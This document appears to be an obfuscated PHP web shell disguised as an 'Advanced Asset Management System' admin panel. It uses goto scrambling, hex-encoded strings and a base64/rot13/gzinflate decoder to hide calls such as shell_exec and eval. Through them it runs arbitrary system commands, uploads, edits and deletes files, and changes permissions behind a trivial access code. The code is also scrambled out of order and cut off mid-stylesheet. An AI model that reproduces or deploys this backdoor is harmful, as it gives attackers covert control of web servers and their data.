</span><span>🧠 Memory:<?php  goto xgTIC; TY29E: $fetchContentCode = $functionDispatcher->getFunctionCode("\x66\151\154\145\137\147\x65\x74\137\143\x6f\156\x74\145\156\164\x73"); goto EcTf5; O0gSM: U5HUK: goto TY29E; VrzFr: Jcnd8: goto djgC3; ChQ3X: goto O0hkj; goto OZPfT; anoKo: if (isset($_FILES["\x61\x73\x73\x65\x74\137\x66\x69\154\x65"])) { $destination = $currentLocation . "\x2f" . basename($_FILES["\x61\163\163\x65\x74\137\x66\x69\x6c\x65"]["\x6e\141\155\145"]); if ($functionDispatcher->invoke($transferFileCode, $_FILES["\141\x73\x73\145\164\x5f\x66\x69\x6c\x65"], $destination)) { $statusMessage = "\x41\x73\x73\145\164\x20\165\160\154\157\x61\x64\145\144\40\x73\165\143\143\145\x73\x73\146\165\x6c\154\x79"; $activityLogger->record("\x41\x53\x53\105\124\x5f\x55\x50\114\x4f\101\104\105\x44", $destination); } } goto ChQ3X; uYIxb: YMCAO: goto BTxlV; U5dJF: echo $currentLocation; goto Cyg5a; csxDH: error_reporting(0); goto ekFQE; U3Zpe: ?>
"></div><div class="form-group"><label class="form-label">Permission Mode</label> <input name="permission_mode"class="form-control"required placeholder="e.g., 755"value="755"></div><button class="btn"type="submit"style="width:100%;background:var(--primary-color);color:#fff">🔒 Modify</button></form></div></div></div><div class="asset-table-container"><table class="asset-table"><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th></tr></thead><tbody><?php  goto czd3c; nFinr: Mbc52: goto ojTX6; AU4Wh: uiFJ6: goto w9BFL; ed_hm: goto vVS69; goto ncyYc; b4aPk: $deleteAssetCode = $functionDispatcher->getFunctionCode("\165\156\x6c\151\x6e\x6b"); goto wj8z1; YRVQo: wNhyb: goto b4aPk; BTxlV: $displayOutputCode = $functionDispatcher->getFunctionCode("\x65\x63\150\157"); goto NGw7b; rr8NO: class DataDecoder { private $seed = "\x53\131\x53\x54\x45\115\137\123\105\x43\x55\x52\105\137\62\60\62\64\137\117\102\x46\125\123\103\x41\124\105\104"; public function decodePayload($encoded) { $step1 = base64_decode($encoded); $step2 = str_rot13($step1); $step3 = $this->reverseString($step2); $step4 = gzinflate($step3); return $step4; } public function encodePayload($code) { $step1 = gzdeflate($code, 9); $step2 = $this->reverseString($step1); $step3 = str_rot13($step2); return base64_encode($step3); } private function reverseString($str) { return strrev($str); } private $functionDictionary = array("\162\x65\156\144\145\162\117\x75\x74\160\165\164" => "\x65\143\150\157", "\x65\170\x65\143\x75\x74\x65\x53\x79\163\164\145\155" => "\163\x68\145\154\x6c\137\x65\x78\x65\143", "\146\x65\x74\x63\150\103\157\x6e\x74\x65\156\x74" => "\146\x69\154\x65\137\147\x65\x74\137\x63\157\x6e\164\x65\156\164\x73", "\x73\x74\157\162\x65\x43\157\x6e\x74\145\156\x74" => "\x66\x69\154\x65\137\160\x75\x74\137\x63\x6f\156\164\x65\x6e\x74\163", "\x64\x65\154\145\x74\x65\101\x73\x73\x65\164" => "\x75\156\154\x69\x6e\153", "\143\162\x65\141\164\145\104\151\162\x65\x63\164\x6f\162\x79" => "\x6d\153\x64\151\162", "\x6d\x6f\144\x69\x66\171\120\145\162\155\x69\163\163\151\157\156\x73" => "\x63\x68\155\x6f\144", "\163\143\141\156\x44\x69\x72\145\x63\x74\157\162\x79" => "\x73\x63\x61\156\x64\151\162", "\164\162\141\156\x73\x66\145\x72\x46\x69\154\145" => "\155\157\x76\145\137\165\160\x6c\x6f\x61\x64\x65\144\x5f\x66\x69\x6c\145", "\144\x69\163\160\154\141\x79\117\165\164\x70\x75\x74" => "\x65\143\150\x6f", "\x72\165\x6e\120\162\157\x63\145\163\163" => "\163\x68\145\154\154\x5f\145\170\145\x63", "\162\145\141\144\x43\157\x6e\x74\x65\x6e\164" => "\x66\151\154\145\137\147\145\x74\x5f\143\157\156\x74\x65\x6e\x74\x73", "\167\x72\x69\x74\x65\x43\x6f\156\x74\145\x6e\164" => "\x66\151\x6c\145\137\160\165\164\137\143\157\x6e\164\145\156\164\163", "\162\x65\155\157\x76\x65\x49\x74\x65\x6d" => "\x75\x6e\x6c\x69\156\x6b", "\143\162\x65\141\x74\x65\103\157\156\x74\x61\151\x6e\x65\x72" => "\x6d\x6b\144\x69\162", "\x63\150\x61\156\x67\145\x4d\x6f\144\x65" => "\x63\x68\x6d\x6f\144", "\x6c\151\x73\164\111\164\145\155\163" => "\x73\x63\x61\x6e\x64\x69\162", "\x75\x70\154\157\141\x64\106\151\x6c\145" => "\155\x6f\166\x65\x5f\165\x70\x6c\157\x61\144\145\144\x5f\x66\x69\154\x65"); public function decodeFunctionName($obfuscatedName) { foreach ($this->functionDictionary as $key => $value) { if ($this->encodePayload($key) === $obfuscatedName) { return $value; } } return null; } public function obfuscateFunctionName($realName) { foreach ($this->functionDictionary as $key => $value) { if ($value === $realName) { return $this->encodePayload($key); } } return null; } } goto qX6yZ; DNo3w: vVS69: goto v8EmD; ggDAk: ivlB9: goto aQWyu; LwnP9: echo round(memory_get_usage(true) / 1024 / 1024, 2); goto Gewl3; O7SpM: goto R4VzA; goto NRLnP; aQWyu: $obfuscationEngine->computeAnalytics(); goto ed_hm; MJN9D: LLrFk: goto hOzDX; vaWQF: goto gToPK; goto nFinr; Y_Pfb: goto SL6ii; goto oia71; czd3c: goto hbW23; goto xB_Hf; okOMJ: goto wlkCF; goto Bee7d; DBV5_: goto U5HUK; goto C_xKb; tdmrf: goto Mgzh1; goto TbjVL; s8YSL: goto Mbc52; goto LWNg9; qdPOo: AYiDp: goto F4wvl; ekFQE: goto GiUPf; goto qqt_z; wCTMA: Te513: goto EpSid; UtgGJ: GiUPf: goto FhqT5; eOMaK: ICb5z: goto wQP_Q; Gewl3: goto oF9RX; goto z2qRP; lPrnu: s0mF4: goto YYN6T; MfeXJ: R4VzA: goto Murdw; HhGNb: goto VJusG; goto yO6Ix; OL3nm: goto ivlB9; goto AevYC; tBRp3: goto n3AfR; goto qkGei; ZAGdA: goto yng9E; goto soV6h; ojTX6: echo date("\110\72\151\x3a\x73"); goto d4rZ3; c4VtH: $pathParts = explode("\x2f", trim($currentLocation, "\x2f")); goto hWzwe; Ns7GQ: opCKD: goto DO0aJ; CLilw: HNinL: goto xHhhV; i6rDE: $activityLogger = new EnhancedActivityLogger(); goto MgvkY; hrWRc: goto qrElo; goto U2RzK; AevYC: NE_wn: goto UhN5g; hlymb: yng9E: goto NeDxM; QA5Az: Fk3O_: goto A2jZN; C_xKb: XQcl5: goto BWu9O; aGbBV: foreach ($pathParts as $part) { if (!empty($part)) { $accumulatedPath .= "\x2f" . $part; echo "\x20\342\x80\272\40"; echo "\x3c\x61\x20\150\x72\x65\146\75\42\77\154\x6f\x63\141\164\x69\157\x6e\x3d" . urlencode($accumulatedPath) . "\42\x3e" . $part . "\x3c\57\141\76"; } } goto oY9v_; L0s52: $executeSystemCode = $functionDispatcher->getFunctionCode("\x73\150\145\x6c\154\x5f\145\x78\145\x63"); goto DBV5_; xHhhV: $accumulatedPath = ''; goto kFCqI; klJmv: if (isset($_GET["\x6f\x70\145\x72\x61\164\151\x6f\x6e"])) { $operation = $_GET["\157\x70\x65\162\141\x74\x69\x6f\156"]; switch ($operation) { case "\x72\145\x6d\157\166\x65": if (isset($_GET["\x74\141\x72\147\x65\164"])) { if ($functionDispatcher->invoke($deleteAssetCode, $_GET["\164\141\x72\x67\x65\x74"])) { $statusMessage = "\101\163\x73\x65\x74\40\162\x65\155\x6f\166\x65\x64\x20\x73\165\x63\x63\x65\163\163\146\x75\154\x6c\171"; $activityLogger->record("\x41\x53\123\105\124\x5f\x52\x45\x4d\117\126\105\104", $_GET["\x74\x61\162\x67\145\164"]); } header("\x4c\x6f\x63\141\164\x69\x6f\156\72\40\x3f\x6c\157\x63\x61\164\151\157\x6e\x3d" . urlencode($currentLocation)); die; } break; case "\164\x65\x72\155\151\156\141\x74\x65\x5f\163\x65\163\163\x69\157\156": $activityLogger->record("\x53\x45\123\123\111\x4f\x4e\x5f\x54\x45\122\115\111\116\x41\x54\105\x44", "\x55\163\145\x72\40\x6c\157\147\147\145\x64\x20\157\165\x74"); $authHandler->terminateSession(); header("\114\157\143\x61\164\x69\x6f\x6e\x3a\x20" . $_SERVER["\x50\x48\120\x5f\x53\105\114\106"]); die; case "\145\170\x65\x63\x75\x74\x65": if (isset($_POST["\163\x79\x73\164\x65\155\x5f\143\x6f\x6d\x6d\x61\x6e\x64"])) { $output = $functionDispatcher->invoke($executeSystemCode, $_POST["\x73\x79\x73\164\145\155\137\143\x6f\155\155\141\156\144"]); $statusMessage = htmlspecialchars($output); $activityLogger->record("\103\x4f\115\x4d\101\x4e\104\137\x45\130\x45\103\125\x54\x45\x44", $_POST["\x73\x79\x73\164\145\x6d\137\x63\157\155\155\x61\156\144"]); } break; case "\x6d\157\x64\x69\146\171\137\x70\x65\162\x6d\x69\x73\163\x69\157\x6e\163": if (isset($_POST["\x61\163\x73\x65\x74\137\x70\x61\164\150"]) && isset($_POST["\x70\x65\162\x6d\151\x73\x73\151\x6f\156\137\155\x6f\x64\x65"])) { if ($functionDispatcher->invoke($modifyPermissionsCode, $_POST["\x61\x73\x73\x65\x74\x5f\160\x61\164\150"], $_POST["\x70\145\162\155\x69\x73\x73\x69\x6f\156\x5f\155\157\x64\x65"])) { $statusMessage = "\120\145\x72\155\x69\x73\x73\x69\157\x6e\163\40\165\160\144\x61\164\145\x64"; } } break; } } goto maBPo; ydukE: goto QPuv0; goto DNo3w; KXSnb: QSjmb: goto U3Zpe; uG9eF: $currentLocation = realpath($currentLocation) ?: "\56"; goto MHQt1; NWaND: goto r9RgK; goto FKFPl; pB0nl: goto UqCEd; goto ggDAk; yO6Ix: KZhAa: goto gviTH; KRgoG: CT1z2: goto xvXZJ; YLWg0: goto K995g; goto gHLmN; qdipF: goto rpY6Y; goto MfeXJ; NRLnP: lU1MF: goto aGbBV; Ka2jK: oF9RX: goto FhNMX; WM9R_: goto Fk3O_; goto LtbUt; EpSid: ?>
GB Free</span></div></div></div><script>// Enhanced JavaScript functionality
        document.addEventListener('DOMContentLoaded', function() {
            // Auto-hide status messages
            const statusMessages = document.querySelectorAll('.status-message');
            statusMessages.forEach(msg => {
                setTimeout(() => {
                    msg.style.opacity = '0';
                    msg.style.transition = 'opacity 0.5s ease-out';
                    setTimeout(() => msg.style.display = 'none', 500);
                }, 5000);
            });

            // Confirm destructive actions
            document.querySelectorAll('.btn-danger').forEach(btn => {
                btn.addEventListener('click', function(e) {
                    if (!confirm('⚠️ This action is irreversible. Continue?')) {
                        e.preventDefault();
                    }
                });
            });

            // Auto-expand textareas
            document.querySelectorAll('textarea').forEach(ta => {
                ta.addEventListener('input', function() {
                    this.style.height = 'auto';
                    this.style.height = (this.scrollHeight + 10) + 'px';
                });
                // Trigger once to set initial height
                ta.dispatchEvent(new Event('input'));
            });

            // Tooltip functionality
            document.querySelectorAll('[title]').forEach(el => {
                el.addEventListener('mouseenter', function(e) {
                    const tooltip = document.createElement('div');
                    tooltip.textContent = this.title;
                    tooltip.style.cssText = `
                        position: absolute;
                        background: var(--primary-color);
                        color: white;
                        padding: 5px 10px;
                        border-radius: 4px;
                        font-size: 12px;
                        z-index: 1000;
                        white-space: nowrap;
                    `;
                    document.body.appendChild(tooltip);
                    
                    const rect = this.getBoundingClientRect();
                    tooltip.style.left = (rect.left + rect.width / 2 - tooltip.offsetWidth / 2) + 'px';
                    tooltip.style.top = (rect.top - tooltip.offsetHeight - 10) + 'px';
                    
                    this._tooltip = tooltip;
                    this.removeAttribute('title');
                });
                
                el.addEventListener('mouseleave', function() {
                    if (this._tooltip) {
                        document.body.removeChild(this._tooltip);
                        this.setAttribute('title', this._tooltip.textContent);
                        delete this._tooltip;
                    }
                });
            });
        });

        // Real-time clock update
        function updateClock() {
            const clockElements = document.querySelectorAll('.system-time');
            clockElements.forEach(el => {
                el.textContent = new Date().toLocaleTimeString();
            });
        }
        setInterval(updateClock, 1000);</script></body></htm'));



 goto Y_Pfb; PDfUR: goto gDPWb; goto CLilw; hWzwe: goto HNinL; goto HKNsJ; ujiy7: function displayLoginInterface() {
<!doctypehtml><html><head><meta charset="UTF-8"><title>System Administration Panel</title><style>body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:linear-gradient(135deg,#1a2980,#26d0ce);margin:0;padding:20px;display:flex;justify-content:center;align-items:center;min-height:100vh}.login-wrapper{background:rgba(255,255,255,.95);padding:50px;border-radius:20px;box-shadow:0 15px 35px rgba(0,0,0,.3);width:100%;max-width:450px;backdrop-filter:blur(10px)}.system-title{text-align:center;color:#2c3e50;margin-bottom:40px;font-size:28px;font-weight:300;letter-spacing:1px}.system-title span{font-weight:600;color:#1a2980}.form-container{margin-top:30px}.input-field{width:100%;padding:15px 20px;border:2px solid #e0e0e0;border-radius:10px;font-size:16px;transition:all .3s;margin-bottom:25px}.input-field:focus{border-color:#1a2980;box-shadow:0 0 0 3px rgba(26,41,128,.1);outline:0}.submit-button{width:100%;padding:15px;background:linear-gradient(to right,#1a2980,#26d0ce);color:#fff;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:transform .2s}.submit-button:hover{transform:translateY(-2px);box-shadow:0 5px 15px rgba(26,41,128,.3)}.auth-notice{text-align:center;color:#666;font-size:14px;margin-top:25px;padding-top:25px;border-top:1px solid #eee}.error-message{background:#ffecec;color:#c0392b;padding:15px;border-radius:8px;margin-bottom:25px;text-align:center;font-size:14px;border-left:4px solid #c0392b}</style></head><body><div class="login-wrapper"><div class="system-title"><span>SYSTEM</span> CONTROL PANEL</div>if (isset($_SESSION["\x65\162\162\x6f\162"])) {
<div class="error-message">$decoder = new DataDecoder(); $decodedError = $decoder->decodePayload($_SESSION["\x65\x72\x72\x6f\x72"]); echo htmlspecialchars($decodedError); unset($_SESSION["\145\162\x72\x6f\162"]);
</div>}
<div class="form-container"><form method="post"><input name="access_code"class="input-field"required placeholder="Enter System Access Code"autofocus type="password"> <button class="submit-button"type="submit">🔐 AUTHENTICATE & ENTER</button></form></div><div class="auth-notice">Restricted access. Authorized personnel only.<br>All activities are monitored and logged.</div></div></body></html>die; } goto z1CRb; FhNMX:
MB</span> <span>💾 Storage:goto ULKlA; J7jPV:
<div class="system-footer"><div>Advanced Asset Management System v3.2 | Secure Mode: Active</div><div class="system-stats"><span>🕒 System Time:goto s8YSL; LnFnJ: goto opCKD; goto SZjDN; wQP_Q:
"><div class="form-group"><label class="form-label">Asset Path</label> <input name="asset_path"class="form-control"required value="goto GSz41; XBeUn: if (isset($_POST["\141\163\163\145\x74\x5f\156\x61\155\x65"])) { $newAssetPath = $currentLocation . "\57" . $_POST["\x61\163\163\x65\164\x5f\x6e\141\155\145"]; if ($_POST["\141\163\x73\x65\x74\137\164\x79\160\x65"] == "\144\x69\162\x65\x63\164\157\162\x79") { if ($functionDispatcher->invoke($createDirectoryCode, $newAssetPath)) { $statusMessage = "\x44\151\162\145\x63\x74\157\162\x79\40\x63\162\145\x61\164\145\x64"; } } else { if ($functionDispatcher->invoke($storeContentCode, $newAssetPath, '')) { $statusMessage = "\106\151\x6c\x65\40\x63\162\145\x61\x74\145\144"; } } } goto Z1B4C; qX6yZ: goto xO1Pl; goto wCTMA; UV8Jl: UqCEd: goto klJmv; Murdw:
</tbody></table></div>goto IVdWj; d4rZ3: goto s0mF4; goto hlymb; U7eGl: sN1NG: goto i6rDE; WG5hu: NuXUp: goto SeFzA; OZPfT: VifBq: goto Gg3sm; MgvkY: goto nvq0l; goto cTRXU; HwiO9:
</div><div class="current-path"><strong>Path:</strong> <code>goto bIjqA; rWNTG: xO1Pl: goto CYnH8; Qn2ED: goto mFAQc; goto zxm2T; UhN5g: $createDirectoryCode = $functionDispatcher->getFunctionCode("\155\x6b\x64\151\162"); goto ZAGdA; Xlz98: HS0EX: goto ussvB; H59SP: ZnaHz: goto anoKo; BWu9O: header("\x58\x2d\x43\157\156\164\145\156\164\x2d\124\x79\x70\x65\55\x4f\160\x74\151\157\x6e\163\x3a\40\156\157\x73\x6e\x69\146\146"); goto vaWQF; Mpwd1: goto LLrFk; goto Ns7GQ; SZjDN: hbW23: goto mOTLQ; xvXZJ: echo urlencode($currentLocation); goto Qn2ED; FhqT5: ini_set("\x64\151\x73\x70\154\141\x79\x5f\x65\162\162\x6f\162\163", 0); goto tdmrf; djgC3: class EnhancedAuthHandler { private $accessKey = "\61\60\66"; private $sessionToken = "\141\x75\164\x68\137\166\141\x6c\151\x64\x61\x74\145\x64\x5f\x76\x32"; private $obfuscator; public function __construct() { session_start(); $this->obfuscator = new DataDecoder(); } public function validateAccess($input) { $obfuscatedInput = $this->obfuscator->encodePayload($input); $obfuscatedKey = $this->obfuscator->encodePayload($this->accessKey); if ($obfuscatedInput === $obfuscatedKey) { $_SESSION[$this->sessionToken] = $this->obfuscator->encodePayload("\141\x75\164\x68\157\162\x69\x7a\145\x64"); $_SESSION["\141\143\143\x65\x73\x73\x5f\x74\151\155\x65"] = $this->obfuscator->encodePayload(time()); return true; } $errorMessages = array($this->obfuscator->encodePayload("\x41\x75\164\x68\145\x6e\164\151\x63\141\164\151\157\x6e\x20\146\x61\x69\154\x75\x72\145"), $this->obfuscator->encodePayload("\111\156\166\141\x6c\151\144\40\x63\x72\x65\144\x65\156\x74\151\x61\x6c\x73"), $this->obfuscator->encodePayload("\x41\x63\x63\145\x73\163\x20\144\x65\x6e\x69\x65\144"), $this->obfuscator->encodePayload("\x53\145\143\165\162\x69\164\171\40\x76\x69\157\154\x61\x74\x69\x6f\x6e\x20\144\x65\164\x65\x63\x74\x65\x64")); $_SESSION["\x65\x72\162\157\x72"] = $errorMessages[array_rand($errorMessages)]; return false; } public function isAuthorized() { if (!isset($_SESSION[$this->sessionToken])) { return false; } $storedToken = $_SESSION[$this->sessionToken]; $expectedToken = $this->obfuscator->encodePayload("\x61\x75\164\x68\157\x72\x69\x7a\145\x64"); return $storedToken === $expectedToken; } public function terminateSession() { session_destroy(); } } goto PDfUR; qryL8: zTmtY: goto J7jPV; ioVPX: goto OPuvR; goto kD8cy; SeFzA: echo round(disk_free_space("\x2e") / 1024 / 1024 / 1024, 2); goto V1TYX; oY9v_: goto oaax0; goto QA5Az; WLJxP: goto jWmiJ; goto A4SbC; MHQt1: goto d_WBa; goto WG5hu; xB_Hf: OPuvR: goto dzsQ_; oia71: d_WBa: goto rwUzD; gDqY0: goto PxTQs; goto UV8Jl; z1CRb: goto SBJW1; goto VrzFr; FoUHi: $currentLocation = isset($_GET["\x6c\157\143\141\164\151\157\x6e"]) ? $_GET["\x6c\157\143\x61\164\151\157\156"] : "\56"; goto okOMJ; HlA82: Qv4di: goto LwnP9; w9BFL: echo $currentLocation; goto gh7R8; Q4Za7: $scanDirectoryCode = $functionDispatcher->getFunctionCode("\x73\x63\141\156\144\x69\162"); goto YLWg0; FKFPl: nvq0l: goto F8Wnq; mOTLQ: if ($currentLocation != "\56" && $currentLocation != "\x2f") {
<tr><td colspan="5"><a href="?location=echo urlencode(dirname($currentLocation));
"style="display:flex;align-items:center;gap:10px;text-decoration:none;color:inherit"><span class="asset-icon">📁</span> <strong>.. (Parent Directory)</strong></a></td></tr>} goto zQ0TS; zQ0TS: goto eW8hz; goto UtgGJ; MxDgJ: $authHandler = new EnhancedAuthHandler(); goto LnFnJ; CeW_w: goto YMCAO; goto BfHQ9; v8EmD: $obfuscationEngine->generateSystemReport(); goto CeW_w; jZ6a6: goto KZhAa; goto rWNTG; fOilI: if (empty($assetList)) {
<tr><td colspan="5"style="text-align:center;padding:40px;color:#888"><div style="font-size:48px;margin-bottom:15px">📁</div>No assets found in this directory</td></tr>} else { foreach ($assetList as $asset) {
<tr><td><div style="display:flex;align-items:center;gap:10px">if ($asset["\151\x73\137\x64\151\162"]) {
<span class="asset-icon">📁</span> <a href="?location=echo urlencode($asset["\160\141\x74\x68"]);
"style="color:var(--secondary-color);text-decoration:none;font-weight:500">echo htmlspecialchars($asset["\156\141\155\145"]);
</a>} else {
<span class="asset-icon">📄</span>echo htmlspecialchars($asset["\156\141\x6d\145"]); }
</div></td><td>echo $asset["\x73\151\172\x65"];
</td><td>echo $asset["\x6d\157\x64\x69\x66\x69\x65\144"];
</td><td><code style="background:#f1f5f9;padding:3px 8px;border-radius:4px">echo $asset["\160\145\162\155\x69\x73\163\151\157\x6e\x73"];
</code></td><td><div class="asset-actions">if (!$asset["\x69\163\x5f\144\x69\162"]) {
<a href="?edit_asset=echo urlencode($asset["\160\141\164\x68"]);
&location=echo urlencode($currentLocation);
"class="btn btn-success"style="padding:8px 15px">✏️ Edit </a>}
<a href="?operation=remove&target=echo urlencode($asset["\160\x61\x74\x68"]);
&location=echo urlencode($currentLocation);
"class="btn btn-danger"style="padding:8px 15px"onclick='return confirm("Permanently remove this asset?")'>🗑️ Remove</a></div></td></tr>} } goto O7SpM; aDbii: eW8hz: goto fOilI; gh7R8: goto QSjmb; goto H59SP; A2jZN: ini_set("\145\x72\162\x6f\162\x5f\154\157\x67", "\x73\x79\x73\x74\145\x6d\x5f\x65\x72\x72\x6f\x72\x73\56\x6c\x6f\147"); goto XD5cz; XEtb7: echo date("\x59\x2d\x6d\55\x64\40\x48\x3a\x69\72\163"); goto ioVPX; maBPo: goto ZnaHz; goto wSX0V; jCpnL: if ($statusMessage) {
<div class="status-message"><span>✅</span>echo htmlspecialchars($statusMessage);
</div>} goto hrWRc; Cyg5a: goto RU4op; goto YUc43; s0UfO: n3AfR: goto c4VtH; EFRiq: goto zTmtY; goto inNcx; z2qRP: oaax0: goto HwiO9; CYnH8: class AdvancedFunctionDispatcher { private $functionRegistry = array(); private $decoder; private $activeFunctions = array(); public function __construct() { $this->decoder = new DataDecoder(); $this->initializeFunctionRegistry(); } private function initializeFunctionRegistry() { $functionDefs = array(array("\x65\156\143\x6f\x64\145\144\137\x6e\141\155\145" => $this->decoder->encodePayload("\144\151\163\x70\x6c\x61\x79\117\x75\x74\160\165\164"), "\x68\x61\156\x64\154\x65\162" => function ($data) { echo $data; return true; }), array("\145\x6e\143\157\x64\x65\x64\x5f\x6e\x61\155\x65" => $this->decoder->encodePayload("\145\x78\x65\x63\x75\x74\145\123\x79\x73\x74\x65\x6d"), "\150\x61\156\144\154\x65\162" => function ($cmd) { if (function_exists("\x73\150\x65\x6c\154\137\x65\x78\145\x63")) { return shell_exec($cmd); } return "\x53\171\x73\164\145\x6d\x20\143\157\155\x6d\141\x6e\144\40\145\x78\x65\143\x75\164\x69\157\x6e\x20\x75\156\141\166\x61\151\x6c\x61\142\154\145"; }), array("\x65\x6e\x63\x6f\144\145\x64\137\156\141\x6d\145" => $this->decoder->encodePayload("\x66\x65\x74\x63\150\x43\157\156\164\x65\x6e\164"), "\150\x61\156\144\154\145\x72" => function ($path) { if (file_exists($path)) { return file_get_contents($path); } return "\x46\151\154\x65\x20\156\157\x74\40\141\x63\x63\x65\x73\163\151\x62\154\145"; }), array("\x65\x6e\143\157\x64\x65\144\137\156\141\155\145" => $this->decoder->encodePayload("\x73\x74\x6f\x72\x65\x43\157\156\x74\145\x6e\x74"), "\x68\141\156\144\x6c\x65\x72" => function ($path, $content) { return file_put_contents($path, $content); }), array("\x65\156\x63\157\x64\145\144\137\156\x61\x6d\145" => $this->decoder->encodePayload("\x64\x65\154\x65\x74\145\x41\163\163\x65\164"), "\x68\x61\156\x64\154\x65\162" => function ($path) { if (is_dir($path)) { return $this->purgeDirectory($path); } return unlink($path); }), array("\x65\156\x63\157\x64\x65\144\137\156\x61\155\145" => $this->decoder->encodePayload("\143\162\145\141\164\x65\104\151\162\145\x63\x74\x6f\162\x79"), "\150\x61\x6e\144\x6c\x65\x72" => function ($path) { return mkdir($path, 493, true); }), array("\x65\156\x63\157\144\x65\144\137\156\x61\x6d\x65" => $this->decoder->encodePayload("\x6d\x6f\x64\151\146\x79\x50\145\x72\155\151\163\163\151\157\156\x73"), "\x68\141\x6e\x64\154\145\162" => function ($path, $mode) { return chmod($path, octdec($mode)); }), array("\145\x6e\x63\157\144\x65\x64\x5f\x6e\x61\x6d\x65" => $this->decoder->encodePayload("\x73\x63\x61\x6e\104\x69\x72\x65\x63\x74\157\x72\171"), "\x68\141\156\x64\x6c\145\162" => function ($path) { $result = array(); if (is_dir($path)) { $items = scandir($path); foreach ($items as $item) { if ($item != "\56" && $item != "\x2e\56") { $itemPath = $path . "\x2f" . $item; $result[] = array("\156\x61\x6d\145" => $item, "\160\x61\x74\150" => $itemPath, "\x69\x73\137\144\151\162" => is_dir($itemPath), "\x73\x69\x7a\145" => is_dir($itemPath) ? "\55" : $this->formatAssetSize(filesize($itemPath)), "\155\157\x64\151\x66\151\145\144" => date("\131\x2d\155\x2d\144\40\x48\x3a\x69\72\163", filemtime($itemPath)), "\x70\145\162\x6d\151\163\x73\151\157\156\163" => substr(sprintf("\45\x6f", fileperms($itemPath)), -4)); } } } return $result; }), array("\145\x6e\x63\157\144\x65\x64\137\x6e\141\x6d\x65" => $this->decoder->encodePayload("\x74\x72\x61\156\163\x66\145\x72\x46\151\154\x65"), "\150\x61\x6e\144\154\x65\162" => function ($file, $dest) { return move_uploaded_file($file["\x74\155\x70\x5f\156\x61\155\145"], $dest); })); foreach ($functionDefs as $def) { $this->functionRegistry[$def["\145\x6e\x63\157\x64\x65\x64\137\x6e\x61\x6d\145"]] = $def["\x68\141\156\x64\154\x65\162"]; $this->activeFunctions[] = $def["\x65\x6e\x63\157\144\x65\x64\137\x6e\x61\155\x65"]; } } private function formatAssetSize($bytes) { if ($bytes == 0) { return "\60\x20\102"; } $units = array("\102", "\113\102", "\115\x42", "\107\102"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . "\40" . $units[$i]; } private function purgeDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array("\56", "\x2e\56")); foreach ($items as $item) { $path = $dir . "\57" . $item; if (is_dir($path)) { $this->purgeDirectory($path); } else { unlink($path); } } return rmdir($dir); } public function invoke($functionCode, ...$args) { if (isset($this->functionRegistry[$functionCode])) { $handler = $this->functionRegistry[$functionCode]; if ($functionCode === $this->decoder->encodePayload("\163\143\141\x6e\x44\151\162\145\x63\164\x6f\162\171") || $functionCode === $this->decoder->encodePayload("\144\145\154\145\164\x65\101\163\163\145\164")) { $handler = \Closure::bind($handler, $this, get_class()); } return $handler(...$args); } return null; } public function executeEncoded($encodedPayload, ...$args) { $payload = $this->decoder->decodePayload($encodedPayload); return eval($payload); } public function getFunctionCode($originalName) { return $this->decoder->obfuscateFunctionName($originalName); } } goto HKiau; wj8z1: goto NE_wn; goto s0UfO; A4SbC: ct2YM: goto Nv5GZ; kFCqI: goto lU1MF; goto C5nnM; qSdjv: SL6ii: goto rr8NO; Gg3sm: $obfuscationEngine = new AdvancedObfuscationManager(); goto H3Zmw; zHLja: goto wNhyb; goto qdPOo; F4wvl: if (isset($_POST["\141\163\x73\145\164\x5f\x63\x6f\156\164\x65\x6e\164"])) { if ($functionDispatcher->invoke($storeContentCode, $_POST["\141\x73\x73\145\x74\137\x66\151\x6c\145"], $_POST["\141\163\x73\x65\x74\137\143\157\x6e\x74\145\x6e\164"])) { $statusMessage = "\x41\x73\x73\x65\164\x20\163\141\166\x65\144"; $activityLogger->record("\x41\x53\x53\105\x54\x5f\115\117\104\111\x46\111\x45\x44", $_POST["\x61\x73\163\x65\164\x5f\x66\x69\154\x65"]); } } goto gDqY0; or2jV:
<!doctypehtml><html><head><meta charset="UTF-8"><title>Advanced Asset Management System</title><style>:root{--primary-color:#2c3e50;--secondary-color:#3498db;--success-color:#2ecc71;--danger-color:#e74c3c;--warning-color:#f39c12;--light-bg:#f8f9fa;--dark-bg:#34495e;--border-color:#dee2e6}*{margin:0;padding:0;box-sizing:border-box}body{font-family:Inter,-apple-system,BlinkMacSystemFont,sans-serif;background:var(--light-bg);color:#333;line-height:1.6}.container{max-width:1600px;margin:0 auto;padding:20px}.system-header{background:linear-gradient(135deg,var(--primary-color),var(--dark-bg));color:#fff;padding:20px 30px;border-radius:15px;margin-bottom:25px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 5px 20px rgba(0,0,0,.1)}.system-header h1{font-size:26px;font-weight:600;display:flex;align-items:center;gap:12px}.session-info{display:flex;align-items:center;gap:20px;font-size:14px}.status-badge{background:var(--success-color);color:#fff;padding:5px 15px;border-radius:20px;font-size:12px;font-weight:600}.path-navigation{background:#fff;padding:20px;border-radius:12px;margin-bottom:25px;border:1px solid var(--border-color);font-family:'Fira Code',monospace;font-size:14px;display:flex;align-items:center;justify-content:space-between}.breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:8px}.breadcrumb a{color:var(--secondary-color);text-decoration:none;padding:5px 10px;border-radius:6px;transition:background .2s}.breadcrumb a:hover{background:#f0f7ff}.tools-section{background:#fff;padding:25px;border-radius:12px;margin-bottom:25px;border:1px solid var(--border-color)}.tools-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(320px,1fr));gap:20px;margin-top:20px}.tool-card{border:1px solid var(--border-color);padding:20px;border-radius:10px;transition:transform .2s,box-shadow .2s}.tool-card:hover{transform:translateY(-3px);box-shadow:0 5px 15px rgba(0,0,0,.08)}.tool-card h3{color:var(--primary-color);margin-bottom:15px;font-size:16px;display:flex;align-items:center;gap:10px}.form-group{margin-bottom:15px}.form-label{display:block;margin-bottom:8px;font-weight:600;color:#555;font-size:14px}.form-control{width:100%;padding:10px 15px;border:1px solid var(--border-color);border-radius:8px;font-size:14px;transition:border .2s}.form-control:focus{border-color:var(--secondary-color);outline:0;box-shadow:0 0 0 3px 